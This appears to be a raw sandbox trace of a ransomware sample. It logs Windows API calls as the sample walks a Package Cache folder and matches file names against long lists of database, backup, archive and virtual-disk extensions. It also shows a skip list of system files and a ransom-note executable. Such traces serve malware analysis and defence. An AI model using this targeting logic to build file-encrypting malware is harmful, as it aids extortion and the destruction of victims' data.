	[0050.631] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0050.631] lstrlenW (lpString="vbox") returned 4
	[0050.631] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0050.631] lstrlenW (lpString="vdi") returned 3
	[0050.631] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0050.631] lstrlenW (lpString="vhd") returned 3
	[0050.631] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0050.631] lstrlenW (lpString="vhdx") returned 4
	[0050.631] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0050.631] lstrlenW (lpString="avhd") returned 4
	[0050.631] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0050.631] lstrlenW (lpString="db") returned 2
	[0050.632] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0050.632] lstrlenW (lpString="db2") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0050.632] lstrlenW (lpString="db3") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0050.632] lstrlenW (lpString="dbf") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0050.632] lstrlenW (lpString="mdf") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0050.632] lstrlenW (lpString="mdb") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0050.632] lstrlenW (lpString="sql") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0050.632] lstrlenW (lpString="sqlite") returned 6
	[0050.632] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0050.632] lstrlenW (lpString="sqlite3") returned 7
	[0050.632] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0050.632] lstrlenW (lpString="sqlitedb") returned 8
	[0050.632] lstrlenW (lpString="xml") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0050.632] lstrlenW (lpString="$er") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0050.632] lstrlenW (lpString="4dd") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0050.632] lstrlenW (lpString="4dl") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0050.632] lstrlenW (lpString="^^^") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0050.632] lstrlenW (lpString="abs") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0050.632] lstrlenW (lpString="abx") returned 3
	[0050.632] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0050.632] lstrlenW (lpString="accdb") returned 5
	[0050.633] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0050.633] lstrlenW (lpString="accdc") returned 5
	[0050.633] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0050.633] lstrlenW (lpString="accde") returned 5
	[0050.633] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0050.633] lstrlenW (lpString="accdr") returned 5
	[0050.633] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0050.633] lstrlenW (lpString="accdt") returned 5
	[0050.633] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0050.633] lstrlenW (lpString="accdw") returned 5
	[0050.633] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0050.633] lstrlenW (lpString="accft") returned 5
	[0050.633] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0050.633] lstrlenW (lpString="adb") returned 3
	[0050.633] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0050.633] lstrlenW (lpString="adb") returned 3
	[0050.633] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0050.633] lstrlenW (lpString="ade") returned 3
	[0050.633] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0050.633] lstrlenW (lpString="adf") returned 3
	[0050.633] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0050.633] lstrlenW (lpString="adn") returned 3
	[0050.633] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0050.633] lstrlenW (lpString="adp") returned 3
	[0050.633] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0050.633] lstrlenW (lpString="alf") returned 3
	[0050.633] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0050.633] lstrlenW (lpString="ask") returned 3
	[0050.633] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0050.633] lstrlenW (lpString="btr") returned 3
	[0050.633] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0050.633] lstrlenW (lpString="cat") returned 3
	[0050.633] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0050.633] lstrlenW (lpString="cdb") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0050.634] lstrlenW (lpString="ckp") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0050.634] lstrlenW (lpString="cma") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0050.634] lstrlenW (lpString="cpd") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0050.634] lstrlenW (lpString="dacpac") returned 6
	[0050.634] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0050.634] lstrlenW (lpString="dad") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0050.634] lstrlenW (lpString="dadiagrams") returned 10
	[0050.634] lstrlenW (lpString="daschema") returned 8
	[0050.634] lstrlenW (lpString="db-journal") returned 10
	[0050.634] lstrlenW (lpString="db-shm") returned 6
	[0050.634] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0050.634] lstrlenW (lpString="db-wal") returned 6
	[0050.634] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0050.634] lstrlenW (lpString="dbc") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0050.634] lstrlenW (lpString="dbs") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0050.634] lstrlenW (lpString="dbt") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0050.634] lstrlenW (lpString="dbv") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0050.634] lstrlenW (lpString="dbx") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0050.634] lstrlenW (lpString="dcb") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0050.634] lstrlenW (lpString="dct") returned 3
	[0050.634] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0050.634] lstrlenW (lpString="dcx") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0050.635] lstrlenW (lpString="ddl") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0050.635] lstrlenW (lpString="dlis") returned 4
	[0050.635] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0050.635] lstrlenW (lpString="dp1") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0050.635] lstrlenW (lpString="dqy") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0050.635] lstrlenW (lpString="dsk") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0050.635] lstrlenW (lpString="dsn") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0050.635] lstrlenW (lpString="dtsx") returned 4
	[0050.635] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0050.635] lstrlenW (lpString="dxl") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0050.635] lstrlenW (lpString="eco") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0050.635] lstrlenW (lpString="ecx") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0050.635] lstrlenW (lpString="edb") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0050.635] lstrlenW (lpString="epim") returned 4
	[0050.635] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0050.635] lstrlenW (lpString="fcd") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0050.635] lstrlenW (lpString="fdb") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0050.635] lstrlenW (lpString="fic") returned 3
	[0050.635] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0050.635] lstrlenW (lpString="flexolibrary") returned 12
	[0050.635] lstrlenW (lpString="fm5") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0050.636] lstrlenW (lpString="fmp") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0050.636] lstrlenW (lpString="fmp12") returned 5
	[0050.636] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0050.636] lstrlenW (lpString="fmpsl") returned 5
	[0050.636] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0050.636] lstrlenW (lpString="fol") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0050.636] lstrlenW (lpString="fp3") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0050.636] lstrlenW (lpString="fp4") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0050.636] lstrlenW (lpString="fp5") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0050.636] lstrlenW (lpString="fp7") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0050.636] lstrlenW (lpString="fpt") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0050.636] lstrlenW (lpString="frm") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0050.636] lstrlenW (lpString="gdb") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0050.636] lstrlenW (lpString="gdb") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0050.636] lstrlenW (lpString="grdb") returned 4
	[0050.636] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0050.636] lstrlenW (lpString="gwi") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0050.636] lstrlenW (lpString="hdb") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0050.636] lstrlenW (lpString="his") returned 3
	[0050.636] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0050.636] lstrlenW (lpString="ib") returned 2
	[0050.637] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0050.637] lstrlenW (lpString="idb") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0050.637] lstrlenW (lpString="ihx") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0050.637] lstrlenW (lpString="itdb") returned 4
	[0050.637] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0050.637] lstrlenW (lpString="itw") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0050.637] lstrlenW (lpString="jet") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0050.637] lstrlenW (lpString="jtx") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0050.637] lstrlenW (lpString="kdb") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0050.637] lstrlenW (lpString="kexi") returned 4
	[0050.637] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0050.637] lstrlenW (lpString="kexic") returned 5
	[0050.637] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0050.637] lstrlenW (lpString="kexis") returned 5
	[0050.637] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0050.637] lstrlenW (lpString="lgc") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0050.637] lstrlenW (lpString="lwx") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0050.637] lstrlenW (lpString="maf") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0050.637] lstrlenW (lpString="maq") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0050.637] lstrlenW (lpString="mar") returned 3
	[0050.637] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0050.637] lstrlenW (lpString="marshal") returned 7
	[0050.637] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0050.637] lstrlenW (lpString="mas") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0050.638] lstrlenW (lpString="mav") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0050.638] lstrlenW (lpString="maw") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0050.638] lstrlenW (lpString="mdbhtml") returned 7
	[0050.638] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0050.638] lstrlenW (lpString="mdn") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0050.638] lstrlenW (lpString="mdt") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0050.638] lstrlenW (lpString="mfd") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0050.638] lstrlenW (lpString="mpd") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0050.638] lstrlenW (lpString="mrg") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0050.638] lstrlenW (lpString="mud") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0050.638] lstrlenW (lpString="mwb") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0050.638] lstrlenW (lpString="myd") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0050.638] lstrlenW (lpString="ndf") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0050.638] lstrlenW (lpString="nnt") returned 3
	[0050.638] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0050.638] lstrlenW (lpString="nrmlib") returned 6
	[0050.639] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0050.639] lstrlenW (lpString="ns2") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0050.639] lstrlenW (lpString="ns3") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0050.639] lstrlenW (lpString="ns4") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0050.639] lstrlenW (lpString="nsf") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0050.639] lstrlenW (lpString="nv") returned 2
	[0050.639] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0050.639] lstrlenW (lpString="nv2") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0050.639] lstrlenW (lpString="nwdb") returned 4
	[0050.639] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0050.639] lstrlenW (lpString="nyf") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0050.639] lstrlenW (lpString="odb") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0050.639] lstrlenW (lpString="odb") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0050.639] lstrlenW (lpString="oqy") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0050.639] lstrlenW (lpString="ora") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0050.639] lstrlenW (lpString="orx") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0050.639] lstrlenW (lpString="owc") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0050.639] lstrlenW (lpString="p96") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0050.639] lstrlenW (lpString="p97") returned 3
	[0050.639] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0050.640] lstrlenW (lpString="pan") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0050.640] lstrlenW (lpString="pdb") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0050.640] lstrlenW (lpString="pdm") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0050.640] lstrlenW (lpString="pnz") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0050.640] lstrlenW (lpString="qry") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0050.640] lstrlenW (lpString="qvd") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0050.640] lstrlenW (lpString="rbf") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0050.640] lstrlenW (lpString="rctd") returned 4
	[0050.640] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0050.640] lstrlenW (lpString="rod") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0050.640] lstrlenW (lpString="rodx") returned 4
	[0050.640] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0050.640] lstrlenW (lpString="rpd") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0050.640] lstrlenW (lpString="rsd") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0050.640] lstrlenW (lpString="sas7bdat") returned 8
	[0050.640] lstrlenW (lpString="sbf") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0050.640] lstrlenW (lpString="scx") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0050.640] lstrlenW (lpString="sdb") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0050.640] lstrlenW (lpString="sdc") returned 3
	[0050.640] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0050.640] lstrlenW (lpString="sdf") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0050.641] lstrlenW (lpString="sis") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0050.641] lstrlenW (lpString="spq") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0050.641] lstrlenW (lpString="te") returned 2
	[0050.641] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0050.641] lstrlenW (lpString="teacher") returned 7
	[0050.641] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0050.641] lstrlenW (lpString="tmd") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0050.641] lstrlenW (lpString="tps") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0050.641] lstrlenW (lpString="trc") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0050.641] lstrlenW (lpString="trc") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0050.641] lstrlenW (lpString="trm") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0050.641] lstrlenW (lpString="udb") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0050.641] lstrlenW (lpString="udl") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0050.641] lstrlenW (lpString="usr") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0050.641] lstrlenW (lpString="v12") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0050.641] lstrlenW (lpString="vis") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0050.641] lstrlenW (lpString="vpd") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0050.641] lstrlenW (lpString="vvv") returned 3
	[0050.641] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0050.642] lstrlenW (lpString="wdb") returned 3
	[0050.642] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0050.642] lstrlenW (lpString="wmdb") returned 4
	[0050.642] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0050.642] lstrlenW (lpString="wrk") returned 3
	[0050.642] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0050.642] lstrlenW (lpString="xdb") returned 3
	[0050.642] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0050.642] lstrlenW (lpString="xld") returned 3
	[0050.642] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0050.642] lstrlenW (lpString="xmlff") returned 5
	[0050.642] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0050.642] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5ec850, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.642] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.642] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="Apollon865.txt.exe") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="..") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="windows") returned -1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="bootmgr") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="temp") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="pagefile.sys") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="boot") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="ids.txt") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="ntuser.dat") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="perflogs") returned 1
	[0050.642] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="MSBuild") returned 1
	[0050.642] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0050.642] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122
	[0050.642] lstrcpyW (in: lpString1=0x2d3e634, lpString2="vc_runtimeAdditional_x64.msi" | out: lpString1="vc_runtimeAdditional_x64.msi") returned="vc_runtimeAdditional_x64.msi"
	[0050.642] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0050.642] lstrlenW (lpString="Apollon865") returned 10
	[0050.643] lstrcmpiW (lpString1="al_x64.msi", lpString2="Apollon865") returned -1
	[0050.643] lstrlenW (lpString=".dll") returned 4
	[0050.643] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".dll") returned 1
	[0050.643] lstrlenW (lpString=".lnk") returned 4
	[0050.643] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".lnk") returned 1
	[0050.643] lstrlenW (lpString=".ini") returned 4
	[0050.643] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".ini") returned 1
	[0050.643] lstrlenW (lpString=".sys") returned 4
	[0050.643] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".sys") returned 1
	[0050.643] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0050.643] lstrlenW (lpString="bak") returned 3
	[0050.643] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0050.643] lstrlenW (lpString="ba_") returned 3
	[0050.643] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0050.643] lstrlenW (lpString="dbb") returned 3
	[0050.643] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0050.643] lstrlenW (lpString="vmdk") returned 4
	[0050.643] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0050.643] lstrlenW (lpString="rar") returned 3
	[0050.643] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0050.643] lstrlenW (lpString="zip") returned 3
	[0050.643] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0050.643] lstrlenW (lpString="tgz") returned 3
	[0050.643] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0050.643] lstrlenW (lpString="vbox") returned 4
	[0050.643] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0050.643] lstrlenW (lpString="vdi") returned 3
	[0050.643] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0050.643] lstrlenW (lpString="vhd") returned 3
	[0050.643] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0050.643] lstrlenW (lpString="vhdx") returned 4
	[0050.643] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0050.643] lstrlenW (lpString="avhd") returned 4
	[0050.643] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0050.644] lstrlenW (lpString="db") returned 2
	[0050.644] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0050.644] lstrlenW (lpString="db2") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0050.644] lstrlenW (lpString="db3") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0050.644] lstrlenW (lpString="dbf") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0050.644] lstrlenW (lpString="mdf") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0050.644] lstrlenW (lpString="mdb") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0050.644] lstrlenW (lpString="sql") returned 3
	[0050.644] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0050.644] lstrlenW (lpString="sqlite") returned 6
	[0050.644] lstrcmpiW (lpString1="64.msi", lpString2="sqlite") returned -1
	[0050.644] lstrlenW (lpString="sqlite3") returned 7
	[0050.644] lstrcmpiW (lpString1="x64.msi", lpString2="sqlite3") returned 1
